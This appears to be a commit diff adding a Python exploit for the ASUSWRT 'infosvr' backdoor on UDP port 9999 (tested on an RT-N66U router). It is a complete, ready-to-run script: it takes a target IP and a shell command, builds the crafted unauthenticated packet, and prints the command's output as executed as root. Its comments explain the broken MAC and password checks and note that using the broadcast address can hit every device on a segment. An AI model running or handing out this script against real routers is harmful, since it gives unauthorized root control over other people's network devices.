|
| 1 | +#!/usr/bin/env python3 |
| 2 | + |
| 3 | +# Exploit Title: ASUSWRT 3.0.0.4.376_1071 LAN Backdoor Command Execution |
| 4 | +# Date: 2014-10-11 |
| 5 | +# Vendor Homepage: http://www.asus.com/ |
| 6 | +# Software Link: http://dlcdnet.asus.com/pub/ASUS/wireless/RT-N66U_B1/FW_RT_N66U_30043762524.zip |
| 7 | +# Source code: http://dlcdnet.asus.com/pub/ASUS/wireless/RT-N66U_B1/GPL_RT_N66U_30043762524.zip |
| 8 | +# Tested Version: 3.0.0.4.376_1071-g8696125 |
| 9 | +# Tested Device: RT-N66U |
| 10 | + |
| 11 | +# Description: |
| 12 | +# A service called "infosvr" listens on port 9999 on the LAN bridge. |
| 13 | +# Normally this service is used for device discovery using the |
| 14 | +# "ASUS Wireless Router Device Discovery Utility", but this service contains a |
| 15 | +# feature that allows an unauthenticated user on the LAN to execute commands |
| 16 | +# <= 237 bytes as root. Source code is in asuswrt/release/src/router/infosvr. |
| 17 | +# "iboxcom.h" is in asuswrt/release/src/router/shared. |
| 18 | +# |
| 19 | +# Affected devices may also include wireless repeaters and other networking |
| 20 | +# products, especially the ones which have "Device Discovery" in their features |
| 21 | +# list. |
| 22 | +# |
| 23 | +# Using broadcast address as the IP address should work and execute the command |
| 24 | +# on all devices in the network segment, but only receiving one response is |
| 25 | +# supported by this script. |
| 26 | + |
| 27 | +import sys, os, socket, struct |
| 28 | + |
| 29 | + |
| 30 | +PORT = 9999 |
| 31 | + |
| 32 | +if len(sys.argv) < 3: |
| 33 | + print('Usage: ' + sys.argv[0] + ' <ip> <command>', file=sys.stderr) |
| 34 | + sys.exit(1) |
| 35 | + |
| 36 | + |
| 37 | +ip = sys.argv[1] |
| 38 | +cmd = sys.argv[2] |
| 39 | + |
| 40 | +enccmd = cmd.encode() |
| 41 | + |
| 42 | +if len(enccmd) > 237: |
| 43 | + # Strings longer than 237 bytes cause the buffer to overflow and possibly crash the server. |
| 44 | + print('Values over 237 will give rise to undefined behaviour.', file=sys.stderr) |
| 45 | + sys.exit(1) |
| 46 | + |
| 47 | +sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) |
| 48 | +sock.bind(('0.0.0.0', PORT)) |
| 49 | +sock.settimeout(2) |
| 50 | + |
| 51 | +# Request consists of following things |
| 52 | +# ServiceID [byte] ; NET_SERVICE_ID_IBOX_INFO |
| 53 | +# PacketType [byte] ; NET_PACKET_TYPE_CMD |
| 54 | +# OpCode [word] ; NET_CMD_ID_MANU_CMD |
| 55 | +# Info [dword] ; Comment: "Or Transaction ID" |
| 56 | +# MacAddress [byte[6]] ; Double-wrongly "checked" with memcpy instead of memcmp |
| 57 | +# Password [byte[32]] ; Not checked at all |
| 58 | +# Length [word] |
| 59 | +# Command [byte[420]] ; 420 bytes in struct, 256 - 19 unusable in code = 237 usable |
| 60 | + |
| 61 | +packet = (b'\x0C\x15\x33\x00' + os.urandom(4) + (b'\x00' * 38) + struct.pack('<H', len(enccmd)) + enccmd).ljust(512, b'\x00') |
| 62 | + |
| 63 | +sock.sendto(packet, (ip, PORT)) |
| 64 | + |
| 65 | + |
| 66 | +# Response consists of following things |
| 67 | +# ServiceID [byte] ; NET_SERVICE_ID_IBOX_INFO |
| 68 | +# PacketType [byte] ; NET_PACKET_TYPE_RES |
| 69 | +# OpCode [word] ; NET_CMD_ID_MANU_CMD |
| 70 | +# Info [dword] ; Equal to Info of request |
| 71 | +# MacAddress [byte[6]] ; Filled in for us |
| 72 | +# Length [word] |
| 73 | +# Result [byte[420]] ; Actually returns that amount |
| 74 | + |
| 75 | +while True: |
| 76 | + data, addr = sock.recvfrom(512) |
| 77 | + |
| 78 | + if len(data) == 512 and data[1] == 22: |
| 79 | + break |
| 80 | + |
| 81 | +length = struct.unpack('<H', data[14:16])[0] |
| 82 | +s = slice(16, 16+length) |
| 83 | +sys.stdout.buffer.write(data[s]) |
| 84 | + |
| 85 | +sock.close() |
0 commit comments